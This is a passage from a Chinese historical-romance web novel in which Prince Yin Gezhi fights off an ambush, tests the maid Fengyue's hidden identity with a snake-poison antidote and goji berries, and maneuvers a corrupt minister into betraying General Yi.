可是,不知怎么的,看着她这眼神,脚就还是转了方向,去了一趟客院,将灵殊一并拎走。
从后门出去,风月抿唇:“殿下,我与灵殊都不会武功,您先将我们藏在旁边的店铺里最为妥当,您自己去安国侯府就好。”
“这都已经出来了。”殷戈止不耐烦地道:“一起去就好。”
“再往前的路口,易守难攻,来人若是聪明,定然设伏。”风月沉声道:“以一拖二再以寡敌众,非明将之举。”
微微一愣,殷戈止忍不住低头看了她一眼。
这种话,她竟然说得出来。易守难攻、以寡敌众、明将之举,不知道是不是他多想了,这很像战场上人的口吻,而不该从一个妓子丫鬟嘴里吐出来。
看了一眼旁边半开着门的店铺,殷戈止顺手就将灵殊给扔了进去,然后搂着风月就继续疾走。
“殿下?!”风月瞪眼。为啥只扔灵殊一个啊?她也想被扔出去!
眼神平静地看着前头,殷戈止一字一句地道:“我死你死,我生你生。”
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第102章 蛇毒
有他在,就算以寡敌众,也不会让她丢了性命。
被这话震了震,风月哑然,只觉得耳边的风呼呼的,有那么点不真实。
走神了好半晌,她才笑眯眯地问了一句:“殿下的意思,奴婢是有资格跟您同生共**?”
看着前头路口冒出来的黑影,殷戈止眼神凌厉,嘴角微微勾起:“不,我的意思是说,我活着你得陪着。我**,你也得陪葬。”
风月:“……”
刚刚有的一点感动顿时消弭于无形,她露出獠牙,很想给他脖颈上来一口。
然而,杀意瞬间笼罩了过来,十几个穿着常服气势不凡的人当真在街口埋伏,一看见他们,瞬间就围了上来。
扫了这些人一眼,殷戈止挑眉:“将军府?”
虽然没蒙面,可这些人都是小兵小将,从来没在这位殿下面前露过脸的,他怎么认出是将军府的?众人一时惊慌,然后就有三个走神的傻蛋被一脚踹翻在地。
“殿下。”脑子不太灵光的武人耿直地开口道:“易将军只是想请这位姑娘去府上说说话,您不必这么紧张。”
搂着怀里人的手一紧,殷戈止眯眼:“请她去说话?”
这阵仗,分明是请她去送死的!
他就是诈一句,要不是将军府,他可能还会猜三司使府上,没想到这些人直接自己说出来了,那他绝对不能把人交出去。
“别乱动弹。”低声给风月说了一句,殷戈止将她放在自己身前,镇定地活动了一下手腕关节。
风月乖巧地站着,完全不给人添乱,看着那群人冲上来,镇定地放软身子,任由身后的人搂着她冲锋陷阵。
殷戈止是个多恐怖的人呢?以前的战绩都可以不提,光是现在,十几个练家子的包围之中,他竟然脸色都没变一下,同时躲避多处进攻,抓着这些人配合上的缺口,一掌拍在人后脑勺的昏穴上,又快又狠又准,没一会儿就掀翻了三四个。就算有人趁机抓住了他的胳膊,这厮反身一甩,力气大得直接将人甩了出去,重重地砸在远处围墙上。
风月在他怀里,就觉得无比安心,这些人连她衣角都碰不着。
先前说什么以寡敌众不智,是在其他情况下。在遇见殷戈止的时候,只要不是千军万马,这种小打小闹的人手妄图控制他,都是不智的。
殷殿下威武!
看他这干净利落的招式,还都只用了一只手,风月终于有心情抽出手给他鼓了鼓掌。
抱着她的人冷哼了一声,似乎对她这掌声颇为不屑,十几个穿常服的士兵挣扎着相继倒下,殷戈止伸手抓过来刚刚说话的那人,轻声道:“易将军想让人过去聊聊,就从我这儿请,不请自来地要带走人,就别怪我不客气。”
那人目光惊恐地看着殷戈止,缓缓地点头,犹豫地看了风月一眼,突然眼神一凛。
殷戈止反应飞快,立马将他推出去,然而那人的袖子已经抬起来了,细小的针直接射进了风月的肩膀。
瞳孔一缩,殷戈止暴怒,飞身上前抓着那人便喝:“解药!”
这种细针是吴国士兵近战之时常用的,上头淬了他们惯用的蛇毒,以前他还吃过亏,幸好魏**中大夫研制出了解药。
但现在,他没带那解药在身上,蛇毒发作又快,让人回魏国去取都来不及,只能问下毒的人要了。
哪知,被抓着的人还颇为硬气,仰着头道:“将军下了杀令,解药是不可能给您的。”
杀令?!殷戈止眼里染了红色,伸手就掐住这人的咽喉:“我让你看看什么是杀令!”
甚是壮硕的男人,被殷戈止掐得双脚离地,眼睛突出,脸上青筋都慢慢浮现,惊恐地张大嘴,却是什么也没能再说出来。
“殿下。”镇定地找到肩上那没入肌肤一半的针,风月伸手拔了出来,低声道:“这是易将军的人。”
“送到我面前找死,谁的人都没用。”眼睁睁看他咽了气,殷戈止甩手就将尸体扔出去,抱起她便转了方向往将军府走。
风月这才慌了,连忙道:“奴婢没**,没事的!”
没**?殷戈止一愣,低头认真看了看她的脸色。
一炷香过去,她脸色如常,当真没有变化。
“你穿的衣裳太厚了?”微微眯眼,殷戈止问了一句。
风月心虚地点头:“是啊,没刺到奴婢。”
不可能,那么近的距离,她穿的分明又是薄纱,若是没刺到,刚刚也不用**了。
突然想起了什么,殷戈止伸手,猛地拉下她肩上的衣裳。
细小的**渗了血,像一颗朱砂痣,在她肩上分外明显。
风月白了脸。
吴国打仗屡用阴招,牛毛针淬蛇毒这种事情也是常做,鉴于魏国有将领死于过这种近身阴招,魏国大皇子殷戈止下令,所有魏国士兵统统在战前服用解毒的汤药,重要的将领,更是要服用御医研制出的丹药,吃过之后再不畏蛇毒。
现在,她不畏蛇毒。
抱着她的手陡然紧了,殷戈止眼里的神色诡异,盯着她看了好一会儿:“家住北宣门附近,时常看我去校场?”
“殿下……”风月喉咙也有点紧,眼珠子滴溜溜地转着:“这是个巧合,奴婢体质很特殊。”
“仰慕我多年,只想陪着我一生一世?”
放她站在了地上,殷戈止后退了半步,压根没理会她这苍白的解释。
夏日炎炎,这少有人来的街口却是刮着狂风,风吹得殷戈止衣袍烈烈,碎发遮眼,吹得风月身子僵硬,动弹不得。
千算万算,她没有算到有这么一出。易将军府她去不得,可现在……去不去,都已经糟糕了。
面前的人刚刚有多护着她,现在就有多狂怒,站在离她半步之遥的地方,站在一群昏迷的人的中间,眼里掀起惊涛骇浪:“你到底是谁?接近我,到底有何目的?!”
风月沉默,心里飞快想着对策,又将魏国从军的女儿家的名字统统想了一遍。
没有合适的名头可以借用,一个谎接一个谎,殷戈止只会更暴怒。
可是,她还不能死啊,尤其不甘心死在他手里。
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怎么办?怎么办?
“奴婢……没有您想的那么复杂。”勉强笑了笑,风月看着对面的人,低声道:“只是一个蛇毒,您也不能马上将奴婢钉死啊,奴婢家里养蛇,也是不畏蛇毒的,不行吗?”
眼里清澈了一些,殷戈止点头:“好,你家养蛇,所以不畏蛇毒,那我请你吃枸杞如何?”
风月一僵。
服用解毒丹的时候御医就特意叮嘱过,解毒丹虽好,唯一的坏处却是有一味特殊的药与枸杞药性相冲,若是在服药之后误食枸杞,会腹部绞痛难止,轻则痛上好几日,重则丧命。
然而最重才是丧命,比起眼下的情况来看,风月觉得这算一条活路。
“好。”笑盈盈地应下,她道:“枸杞有什么不能吃的?”
殷戈止垂眸,深吸一口气,慢慢将浑身的怒气都敛回来,一字一句地道:“你最好别骗我,不然不管你多有用,我都会送你下黄泉。”
眨眨眼,风月失笑:“殿下,您方才才说的您生奴婢生,这就不算数啦?”
男人的话果然是不靠谱啊。
没有理会她,殷戈止眼里千尺冰封,拎着她就往响玉街走。
风月一路走一路笑:“您轻松点啊,别这么快就把奴婢当罪人看待,奴婢没有罪。”
“闭嘴。”
“嘤嘤嘤。”眼里满是叹息,风月道:“奴婢还以为您很喜欢奴婢,不管发生什么都会想保护奴婢呢,没想到还是巴不得奴婢有罪该死。”
“……”
不是他狠心,是她若当真服用过魏国御医特制的解**,那她的身份就太可怕了。魏国就算允许女子从军,可有本事用御医所制解毒丹的从军的女子,两只手都数得过来。
有那样身份的人,怎么可能在吴国为妓!
郑记糕点铺今天生意不错,郑氏正给人包着点心呢,冷不防就看见风月被殷戈止抓着走了过来。
心里一跳,郑氏捏紧了手,努力镇定。等人到了柜台前头了,才笑眯眯地开口问:“客官需要点什么?”
“枸杞。”看着面前这人,殷戈止淡淡地道:“加了枸杞的糕点有吗?”
风月微笑着看着她,努力想让她镇定点。
然而郑氏吓了一跳,看不明白这是什么状况,皱眉道:“咱们这铺子里没有加枸杞的糕点。”
“那烦请老板娘去买上一两,回来给她吃如何?”盯着郑氏,殷戈止淡淡地道。
郑氏瞪大眼,下意识想摇头,却见旁边的风月使劲儿朝她使眼色。
买啊!不买要出事的!
倒吸一口凉气,郑氏实在不知道发生了什么,咬咬牙,低头就道:“好。”
然后飞快地跑过一整条响玉街,脚步踩着奇怪的节奏,听得路边打铁的大汉顿了顿手,卖花的姑娘回了头,街头杂货铺的老板也放了手下的东西出来看。
出事了?
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第103章 炸了
然而,看归看,现在殷戈止身边的风月什么话也不能说,这条街上自然没人能救得了她。
郑氏磨蹭了很久,终于还是带了一两枸杞回去。殷戈止伸手就拿枸杞泡了水,皱眉捏着,看着干枸杞散开、臌胀,却没有马上递到风月手里。
风月一笑,很是豪爽地将杯子接过来,喝了一大口。
瞳孔微缩,殷戈止愕然地看着她。
“您担心什么呢?”放下杯子,她笑道:“奴婢说过奴婢只是因为家里养蛇所以不怕蛇毒,那吃点枸杞又怎么了?”
糕点铺人来人往,客人们都好奇地看着这两个好看得不像话的人,也看着一向笑眯眯的老板娘难得苍白的脸色,纷纷疑惑发生了什么。
墙上供着的财神爷面前的香燃完了一根,殷戈止深深地看着面前站着的人,她表情如常,除了脸色有点苍白之外,一点痛苦的神色也没有。
没有反应。
捏了捏拳头,殷戈止垂眸:“是我多想了。”
捂了捂心口,风月可怜巴巴地道:“您那样子真是吓人啊,奴婢要是吃不得枸杞,会有什么后果呀?”
手心全是冷汗,殷戈止抿唇,正要说话,却听得一声巨响由远及近,慢慢地响彻整个不阴城!
“轰隆——”
这声音像极了打雷,惊得殷殿下一个哆嗦。四周的百姓也纷纷跑上街去看,风月“哎呀”了一声,道:“炸了。”
炸了?
猛地想起她在使臣府里的时候说的话,殷戈止转身就往外冲。
风月没走,笑眯眯地站在原地,等那人跑得没了影子,才伸手抓着郑氏的衣袖,声音极轻地道:“劳烦,扶我上楼坐会儿。”
郑氏回神,心情很是复杂地扶过她,送上楼去。
门刚一关,风月就蜷着身子倒在了地上,痛苦地喘着气。郑氏咬牙,从衣袖里掏出一包药粉倒在杯子里,兑了水就往她嘴里喂。
“您……殿下怎么会让您吃枸杞!”
挣扎着喝了药,药劲没上来,风月疼得满头是汗,蜷缩着身子吞吞吐吐地道:“您……应该庆幸,我还有吃枸杞的机会。”
“他发现什么了吗?”郑氏很着急,却不知道怎么办,只能将风月抱到旁边的软榻上,轻轻顺着她的背:“您先别想别的,把这股劲缓过去,疼也是能疼**的!”
风月点头,闭着眼睛大口喘息,那模样看得郑氏眼泪直掉:“这是造的什么孽!老天爷不开眼,罪全让好人受了!”
很想劝她说坏人也不会好过的,然而一股股的绞痛翻涌上来,风月意识模糊,说不出话来了。疼了半晌,等缓和下来的时候,倒是闭上眼睛睡了一觉。
殷戈止去风月说的磨坊附近看了看。没有人员伤亡,倒是不少百姓在往浓烟滚滚里冲,一边冲一边喊着:“金子啊!全是金子!”
然而他们没能冲进去,太子的人仿佛一直在旁边等着似的,眼下已经飞快地出来控制了场面,只故意当着众人的面把一箱箱的金子往外运,引得百姓震惊不已。
“这是什么地方?怎么这么有钱啊?”
“一个破磨坊能有什么钱?背景倒是有,说是朝中哪个大官家的姨娘家舅子开的。”
“这可就耐人寻味了。”
“可不是,看这官兵围得,肯定有一出好戏。”
殷戈止眯眼,想了想,转身去将军府附近蹲着。
这惊天一炸炸出了金银无数,消息传得极快,两个时辰之后,朝中上下已经议论纷纷,太子殿下更是直接带着折子去了御书房。
于是,杨风鹏坐不住了,起身就从自家府院的后门出去,直奔将军府。
这是**他啊!那磨坊是他最宠爱的姨娘家的舅子开的,只要一查,绝对能查到他头上,眼下只有易大将军能救他,不然他就死定了!
急急忙忙地要进将军府,却在靠近后门之时,被人拦住了。
“杨大人。”殷戈止目光平静地看着他:“借一步说话可好?”
一看见殷戈止,杨风鹏魂儿都没了,哪还想跟他说话呀,第一反应就是扭头跑!
然而没跑两步,殷戈止还是站在了他面
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前,眼神冷了不少:“在下在鬼门关面前拦住大人,大人却这般不识好歹?”
杨风鹏很想哭,**将军府算什么鬼门关,但是面前这位殷殿下,却是真正的阎王爷啊!
“殿下。”双腿一软就跪了下去,堂堂三司使大人,被那一声轰鸣吓破了胆,跪别国的皇子都跪得格外耿直:“您放过老夫吧!”
低头看着他,殷戈止道:“若不是想放过您,在下为何要出现在这里?”
微微一愣,杨风鹏不解地抬头。
面前站着的人眉目慈悲,像宽和的佛祖,怜悯地看着他:“杨大人,你近两年吞军饷三十余万两,**十万,**二十万,证据都已经交到了在下手里,在下若是有意与大人为难,为何还要来找大人?”
脸色一白,杨风鹏跌坐在地,吓傻眼了。
这些事殷殿下怎么会知道?他以为朱来财一死,这些事情统统会被带进棺材里!现在怎么办?证据在他手里,那不管怎么求易将军也没用啊,他毕竟只是个将军,又不是皇帝。
“这将军府的门,您要是踏进去了,怕是要落得个‘畏罪自尽’的下场。”看了看将军府的围墙,殷戈止沉声道:“弃车保帅,这一招大人是用在朱来财身上的,怎么就觉得易将军不会用在您身上?”
他要是被定罪**,那钱款一定会查明来处去向,到时候易大将军府首当其冲,定然被牵连。
可他要是在这时候**呢?
背后一凉,杨风鹏站了起来,朝殷戈止深深一鞠躬:“殿下救命啊!”
“大人请。”指了指旁边的巷子,殷戈止道:“在下愿意为大人指一条明路,但到底要不要走,就看大人自己的决定了。”
脚步一抬,又有些迟疑,杨风鹏皱眉问了一句:“殿下为何要帮下官?”
殷戈止淡淡地道:“因为大人罪不是最重的。”
也不是他最想弄死的。
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第104章 背叛
杨风鹏官场打滚这么多年,也算是千年的王八万年的精了,一听殷戈止这话就知道自己还有活路,连忙跟着他去了巷子里头密谈。
“眼下只有两条路。”在前头站定,殷戈止缓缓回头,一身白衣显得单纯无害,脸上却是冷漠无情:“要么,大人一个人扛下所有的罪责,被满门抄斩。要么,大人把钱款流向全部上书给陛下,太子定然会体谅大人,保住大人全家上下的性命。”
钱款流向最大的就是将军府,只要他肯说出来,那太子殿下是一定愿意保全他的。但是……
轻笑一声,杨风鹏摇了摇头:“殿下,官场中事可没那么简单,揭发他人说得简单,被揭发的人要是死不了呢?那下官岂不是完蛋了,一家老小照样不得安宁。”
他效忠易国如多年,也没有说翻脸就翻脸的道理,就算定了死罪,只要他守口如瓶,那易大将军就有可能会想法子救他。而殷殿下不过是曾手持闻风令,抓过不少人,断然没有易将军来得靠谱。
微微摇头,殷戈止道:“大**概是没想明白,您可以再仔细想想在下方才说的话。”
方才说的话不就是这些?有什么好想的?杨风鹏正要笑,却猛地一震。
等等,他刚才是不是还说过,手里已经有他银子流入支出的证据了?
倒吸一口凉气,杨风鹏抬头看向面前这人。
分明是翩翩少年郎,眼里的神情却让他都微微发寒,眼里映着他慌张的神色,那薄唇一启就慢悠悠地道:“吴国的律法在下不算通读,不过按照太子殿下那以民为本,痛恶**的性子来看,您这两年四十万两的流入,二十万两的流出,足够让他亲自监斩了。”
说着,似乎觉得不够具体,又补充了一句:“是四十万三千八百五十七两,那七两银子的零头,还是个小商人孝敬给贵府前账房的。”
腿一抖,杨风鹏面无人色,眼珠子看着地上左右晃动,手心里全是汗。
本还以为殷戈止可能是诈他的,但能把这银钱的数字说得这么具体,那手里头可能是当真有东西。
证据在他手里,就算自己不揭发易将军,易将军怕是也要被拖下水。一旦下水,为了保全自己,易将军就无论如何也不会对他伸以援手了。
怎么办?
“看起来大人不打算接受在下的建议,那在下先告辞了。”没有多劝的意思,殷戈止转身就走。
“殿下!”杨风鹏连忙拦住他:“您……就这么走了?”
“不然呢?”殷戈止面无表情地道:“该说的都已经说完了,剩下的大人自己斟酌,也与在下无关,在下不过替太子传个话罢了。”
说罢,扭头就走。
杨风鹏愕然,按照他多年纵横官场的经验来看,这种情况,对方怎么也应该多劝会儿啊!就算不多劝会儿,难道也不给他点利诱什么的,好让他更容易倒戈吗?
没有,在殷戈止这儿,什么也没有,爱听不听,说完就走。
于是杨风鹏纠结了,站在原地等了好一会儿,才偷偷摸摸地原路返回自己的府邸。
等殷戈止回去使臣府的时候,风月已经很是平静地在摆弄院子里的花花草草了,看见他进门,抬脸就给了他一个灿烂的笑容:“您回来了?”
看她一眼,殷戈止没吭声,径直往屋里走去。
风月可能当真没吃解毒丹,不过她也是当真让自己起了疑心。一旦起了疑心,他就无法跟她像之前一样亲近了。
观止一直查不出风月的来历,加上她对自己的了解以及太多的巧合,殷戈止觉得,宁愿防上一防。
看着这人一脸的冷漠,风月挑眉,放下手里的花,笑眯眯地跟着他踏进屋子,看他坐下来,伸手就去揉他的肩:“您做什么不理奴婢呀?奴婢要是哪里做得不对,您可以说呀。”
听着这怪声怪气的话,殷戈止皱眉:“你也该有个丫鬟的样子。”
“奴婢怎么就没有丫鬟的样子了?”伸手从背后搂着他,风月娇笑:“您说的啊,奴婢可是您的通房丫鬟。”
通房丫鬟,不勾搭主
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子的话,那跟普通丫鬟有什么区别!
殷戈止抿唇,努力想严肃一点,至少把她的手给推开吧?可是不知道怎么的,他手都抬起来了,却还是没能把她掀开。
温软的身子贴着他的背,这种感觉就像是有人走到冰天雪地里将他带进了温暖如春的屋子,人都是向往温暖的,怎么可能舍得离开?
眯了眯眼,殷戈止眼里满是茫然,看起来很像在雪地里迷路了的狼。
“主子。”观止兴奋地蹦进来,对面前二人的亲昵**以为常,径直开口道:“太子殿下派人围了三司使府邸,杨风鹏本来已经离开了,不知怎么的,又一头撞了回去,现在已经在大牢里了。”
回过了神,殷戈止板着脸道:“你继续盯着,有什么消息就回禀一声。”
“是。”
眼波流转,风月笑眯眯地道:“杨大人要遭殃了,易大将军今晚一定睡不好。”
“你很高兴?”殷戈止抬头看她:“按理说,你先前那般不要命地救易掌珠,我以为你对易将军一家应该是颇有好感。”
救易掌珠是因为他跟叶御卿都看重易掌珠啊,搭个救命之恩什么的,不是更容易混熟吗?想起这茬,风月笑了笑。说来易掌珠要讨厌她也不是没道理,毕竟她一开始接近他们的目的就不单纯,碎一下手骨,换来殷殿下诸多在意,实在是不吃亏。
“易将军一家如何,奴婢不在意。”她笑道:“殿下想做的事情,奴婢一定会帮着做。”
想起今日街上自己心口那一阵几欲窒息的感觉,殷戈止皱眉,伸手将她扯到怀里,睨着她道:“你的这些花言巧语不如收一收,说太多了,以后当真要是背叛我,你会死得很惨。”
吓得抖了抖,风月眨着无辜的大眼睛看着他:“殿下多虑了,奴婢怎会背叛你?”
就从来没想过要单纯地效忠啊!
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第105章 谆谆善诱
屋子里烛光盈盈,两人就以这种郎情妾意的姿势对视了整整一炷香。殷戈止眼神冷冽,风月笑意温柔。
一炷香之后,殷戈止松开了她,别开头道:“如此便好。”
您放心才是真的好啊!风月狗腿地端了茶塞在他手里,然后就乖巧地站在他身后给他捏肩。
没喝她的茶,殷戈止看着茶盖,轻声问了一句:“你以前,当真经常在北宣门附近看见我?”
风月点头笑道:“是呀,奴婢不是说过了吗?您经常去北宣门外头的校场,奴婢时常守着看您。”
“那,你看我的时候,我身后跟的是十八人的仪仗,还是六人的仪仗?”
又给她挖坑?风月眯眼,认真地想了许久,道:“应该是六人的。”
殷大皇子去校场一向不搞排场,想也不用想带的人肯定不多。虽然她没亲眼看过,但就算猜错了,她也能说是记性不好!
然而,听完她的回答,殷戈止竟然没有再说什么。风月想,难不成自己蒙对了?
三司使入狱,今儿朝中很多人睡不好觉,晚饭过后,安世冲和徐怀祖更是直接抱着被子来了使臣府。
“怎么?”殷戈止斜眼看着他们:“想来我这儿睡?”
“师父!”徐怀祖哀嚎:“吴国朝中上下乱成一团,我家的人来来往往,压根不打算让徒儿睡好觉哇!徒儿只能来您这儿,求一夜好眠了!”
安世冲一脸愁容地跟着点头:“杨大人与朝中众人来往较多,此番磨坊地窖藏金一事,朝中一直没出定论,但杨大人一被抓,难免牵连。听说,易大将军已经进宫去了,现在还没出来。”
好整以暇地在软榻上坐下,殷戈止问:“徐将军和安国侯府也牵扯进去了?”
微微一愣,安世冲立马皱眉摇头:“家父虽算不得名流雅士,却也是不爱财不争利之人。徒儿最近接手家中关系往来,都是君子之交,账上无半分不义之财。”
徐怀祖也摇头:“我老爹虽然肚子里没墨水,可也没坏水,过什么节都不收贺礼的,还给家里人发过节银子呢。”
“那便是了。”殷戈止道:“这件事用不着你们关心。”
“师父。”徐怀祖撇嘴:“徒儿们如今也算有官职的,关心朝中大事是理所应当。再说了,地窖里那么多金银,多半都是民脂民膏。此等天理难容之事,徒儿们也想等个结果。”
风月伸手递给他们糕点,笑眯眯地道:“两位少爷真乃国之栋梁。”
“姑娘过奖。”安世冲抿唇:“在下与怀祖都太过年轻,还担不起什么大任,若他日吴国又将与人一战,我俩也至多不过是当个先锋兵。”
听着这话,殷戈止抬头看了他一眼:“你倒是想得远。”
“不算远。”眼里陡然多了些忧色,安世冲抿唇,犹豫了半晌才问:“师父觉得,如今吴国在列国之中,可算强盛?”
殷戈止垂眸,手指轻轻摩挲着茶杯:“能安居一隅,就足以称为强盛。”
一年前大胜魏国之后,吴国便是无人敢犯,就算如今大宋南征北战,与吴国小有摩擦,可也没敢当真举兵攻吴。从这一点上来说,吴国已经是很厉害了。
“可是。”安世冲皱眉:“徒儿觉得吴国这一年来实在太过安逸,没有大仗,小仗输的竟然也不少,朝廷官风不正,多人被揭发**,三司使竟然都吞了这么多金银,那定然是百姓日苦,将士难暖。长此以往,吴国恐怕是要毁在这安逸之中。”
徐怀祖惊讶地看他一眼:“你想得也太多了。”
风月垂眸。
安世冲想的是对的,这就是吴国的现状。吴国与魏国之战,一战就是好几年,双方的实力和消耗是一样的,甚至说本来魏国更强。吴国胜只胜在阴诡手段,折了魏国的关苍海,之后不知从哪儿窃取了魏国的机密,让魏国措不及防,连失数城,最后一败涂地。
胜了之后就容易骄傲自大,在吴国君主和百姓的眼里,他们完胜魏国,甚至带回魏国引以为傲的大皇子为质,大皇子还自愿改名“戈止”,以愿止两国之戈,足以证明他们吴国是列国之中数一数二的,甚至与大宋打上一仗,也不是没有获胜的可能。
自大之下,必定出乱子,没有外患就会有内忧,官员**、将军拥兵、君主骄奢、民不聊生。长此以往,等魏国恢复了元气,就是吴国大难临头之时。
然而,吴国朝中上下没有一个人意识到这点,就连最为清醒的叶大太子,也只是在遏制**之风,完全没有警醒吴人。
安世冲想到了,但很可惜,他什么也改变不了。
殷戈止难得地用赞赏的眼神看着他,坐直了身子道:“你能这么想,吴国也不算无可救药。”
徐怀祖一愣:“师父还觉得世冲想的是对的啊?”
“自然是对的。”殷戈止道:“如今天下局势多变,能居安思危才是聪明人。要是上位者也能像世冲这样想,那就不会坐视南境被大宋骚扰而置之不理了。”
眼里亮了亮,安世冲道:“师父也觉得,吴国的态度应该强硬些?”
“自然,魏国已衰,若是没有新的对手,吴国便会在这安逸之中一天天消沉下去。”殷戈止诚恳地道:“与其忍气吞声,看吴国内乱,不如制造外患,内忧自解。”
安世冲点头,徐怀祖皱眉想了想,也觉得挺有道理的:“如今吴魏修好,若是能共同抗宋,未必不是好事。不过现在咱们都做不得主,三司使这事儿一出来,朝廷必定得大伤元气。”
是挺伤元气的,风月微笑着想,就算不伤筋动骨,可也够人头疼的了。
本来易大将军战败是件小事,但很不巧,遇上三司使这事儿,太子殿下义愤填膺,当即就将易国如战败的原因全部归结于军资滥竽充数,粮草没有跟上。
对于这种说法,易国如很是不好辩解。要说不是粮草的问题,那就只能是他自己的问题了,相比之下,肯定宁可说是粮草的问题。
但这么一来,杨风鹏头上的罪就更重了,圣上大怒之下,直接令人查抄三司使府邸,清算历年朝廷账目,查明钱款来源
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去向。
易国如脸色很难看,当夜就去了死牢里看杨风鹏。
杨风鹏满身狼狈,已经是用过刑了,一双眼在看见他的时候亮了亮:“将军。”
“杨大人。”表情沉痛,易国如道:“老夫已经竭尽全力,奈何太子施压,实在无法救你,只能将你杨家的香火护着,今晚就能送出京城。”
“多谢将军!”杨风鹏眼神微黯,却还是笑道:“您有心了。”
这么有心,为的自然是他不出卖他。事情已经到了这一步,杨风鹏放弃了挣扎,只求能护住家人,自己**也就罢了。
仔细打量着他的表情,易大将军道:“等大人上路那日,老夫必定相送。”
“多谢将军。”
家人已经在他手里了,杨风鹏就算想反咬他一口,也是不行的。易国如很放心,又宽慰他两句,便出了大牢。
他前脚刚走,安世冲后脚就打开了牢门。
“关系多就是好啊。”徐怀祖一边往里头走一边感叹:“死牢这种地方,也能来去自如。”
安世冲抿唇:“得蒙祖荫。”
自从侯爷不管事,素来与安国侯府交好的人都时常与他走动了,在很多地方,他的确是方便不少。
殷戈止走在最前面,身边跟着两个穿着斗篷的女子。
来的路上安世冲看着风月去一处院落里接人,接的是个姑娘,可却不知道是什么姑娘,只听得那姑娘喊她一声“东家”,就被风月笑眯眯地捂了嘴。
徐怀祖大大咧咧的不曾注意这些,安世冲却是突然觉得,风月姑娘很不简单。别的不说,来这种地方,师父竟然都愿意带着她,那她定然是个明白事的。
“到了。”
刚刚关上的栅栏门又被打开,杨风鹏有些茫然,半死不活地抬头,却看见了一张梨花带雨的脸。
“香儿!”惊叫出声,杨风鹏一把将她拉到自己身后,看了看旁边的其他人。
“杨大人看来已经有了沉默上路的觉悟。”踏进牢房,殷戈止淡淡地道:“只可惜了家人无辜,要被大人一并连累至死。”
“不……怎么会这样?!”杨风鹏摇头,看着背后的香儿道:“将军不是把你们接走了吗?”
余荷香泪如雨下:“大人,易将军接走的只有小少爷,毕竟他只有五岁,什么也不知道。但其余的人……要不是得殷殿下相救,奴家就已经**!”
身子重重一震,杨风鹏不敢置信地看着殷戈止。
外头的光很是微弱,殷戈止的表情让人看不清楚,只低声道:“大人身陷死牢,对外头的事情一概不知,受人蒙蔽也是应当。在下来给大人送行,也让大人见家人最后一面。”
杨风鹏的家财,藏的就是余荷香的弟弟开的磨坊里头,他纳这姨娘不过一年,恩宠有加,除了儿子,最舍不得的也就是她。
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第106章 牢房里的戏码
本来还觉得余生可安,被余荷香这样一哭,杨风鹏慌了神了,一边安抚她,一边看着殷戈止喊:“殿下!”
“只有一炷香的时间,在下就得告辞了。”听着这凄惨的声音,殷戈止完全没动容:“您有什么话要对她说,就快些。”
一炷香的时间?杨风鹏紧了紧喉咙,完全顾不得其他的,抓了余荷香到眼前就问:“除了旭儿,其他人都没了?”
余荷香哽咽着摇头:“都在牢里关着,皇恩浩荡,本是判决流放,还未执行,但不知为何有人来带走了小少爷,并且想对剩下的人下**。牢里深不见天日,要不是殷殿下,奴家压根见不着您了!老爷,那些人不是好人啊!这般心狠手辣,小少爷定然也不会有好下场!”
心头大痛,杨风鹏转身,“扑通”一声就朝殷戈止跪了下去,声嘶力竭地喊:“殿下——”
“早已经给过大人两条路,大人不听,愿意相信大将军会救您。”殷戈止淡淡地道:“可如今,御书房里支持圣上严处于你的是他,挟持你幼子做最后的筹码的是他,让大人一人顶下所有罪责,**的,也是他。”
今儿他们要是不来,他是不是就要这么被蒙在鼓里,稀里糊涂地上路了?杨风鹏恸哭,连连磕头:“殿下救命,殿下救命!”
“事到如今,我也救不了你。”殷戈止道:“早知如此,何必当初?”
哭着摇头,杨风鹏不知如何是好,心思百转,越想越气。他临死都想着护易国如安然无恙,他却在背后给他玩这些!
同样是来传话,杨风鹏明显更会相信自己宠爱的女人的话,眼下瞧着想得差不多了,那也该正主出场了。
轻缓的脚步声在牢房的走廊里响起,安世冲和徐怀祖警觉了,连忙小声喊:“师父。”
殷戈止装作没听见,依旧站在原地。
徐怀祖还要再喊,然而已经来不及了,有人来了。
飞快地拉过安世冲,徐怀祖一蹿就蹿到了下一个牢房转角的阴影里。
哪知,风月姑娘已经在这里头站着了,看见他们,还笑了笑算是打招呼。
那师父呢?!两人震惊,连忙偷偷伸出脑袋去看。
银色的四爪龙袍扫过宫靴的鞋面,叶御卿摇着扇子,不急不缓地走了过来,目光落在那打开的牢门上头的时候,轻轻“噫”了一声。
“有客先到?”
殷戈止转身,略微惊慌地低头。
叶御卿挑眉,走过来看了看他,失笑:“殿下怎么会来这种地方?”
“随意走走。”殷戈止半点不走心地解释。
看了看地上跪坐着的杨风鹏,又看了看他旁边穿着斗篷的女人,叶御卿拍手:“啊,本宫知道了,殿下是抓着了牢里逃走的犯人,特地送回来了,是吗?”
余荷香一抖,杨风鹏看了看太子身后,发现只有一个冯闯,立马反应过来,朝叶御卿磕了三个响头:“殿下,罪臣有话要说,有话要说啊!”
“怎么?”温和的眸子往他身上一扫,叶御卿摇着扇子笑道:“昨儿审问的时候,不是还说该说的都已经说完了吗?”
“罪臣该死,求殿下给条活路!”壮硕的身子跪埋在地上,轻轻发着抖,看起来煞是可怜。
“哎呀哎呀。”叶御卿摇头,一撩袍子在他面前蹲下:“大人觉得自己还有活路吗?”
“是没有,是不该有!可是殿下,罪臣手里有与易将军分账的账本,那些个所谓罪臣**的钱财,有一半都是流进大将军口袋里的!北境之军的军饷一年高达六十万两白银,这笔银子到罪臣手里不过留下十万,还有五十万,是直接划到将军府的!北境战败,与军饷毫无关系啊!”
这一连串的**扔出来,吓得叶御卿眯了眯眼,伸手就捏着了杨风鹏的衣襟,将他猛地拉起来面对自己,表情阴鸷,声音却依旧温柔:“你为何不早说啊?”
“罪臣幼子尚在大将军手中,殿下要微臣怎么说?!”红了眼,杨风鹏道:“就算是现在,这些话罪臣也不敢在公堂上说第二遍啊!”
意思很明确,殿下你把幼子救出来,这些话就可以在公堂上说第二遍。
叶御卿摇头,转脸对殷戈止道:“易大将军是我朝重臣,这只字片语的就企图让本宫怀疑于他,殷殿下,若换做是你,你当信吗?”
殷戈止面无表情地摇头:“不信。”
额头上满是汗水,杨风鹏哆嗦了一阵,咬咬牙,终于还是将余荷香推到他们面前。
“她知道分账的账本在哪里,殿下若是不信,可以先看过账本,再考虑要不要罪臣这人证。”
“哦?”叶御卿笑了:“大人既然如此执着,那本宫也不妨看上一看。”
“但是。”殷戈止很是嫌弃地道:“大人也实在太容易被威胁了,要是殿下为你排除万难开堂重审,你又有别的把柄落在大将军手里,不再肯说实话,那咱们不是白忙了?”
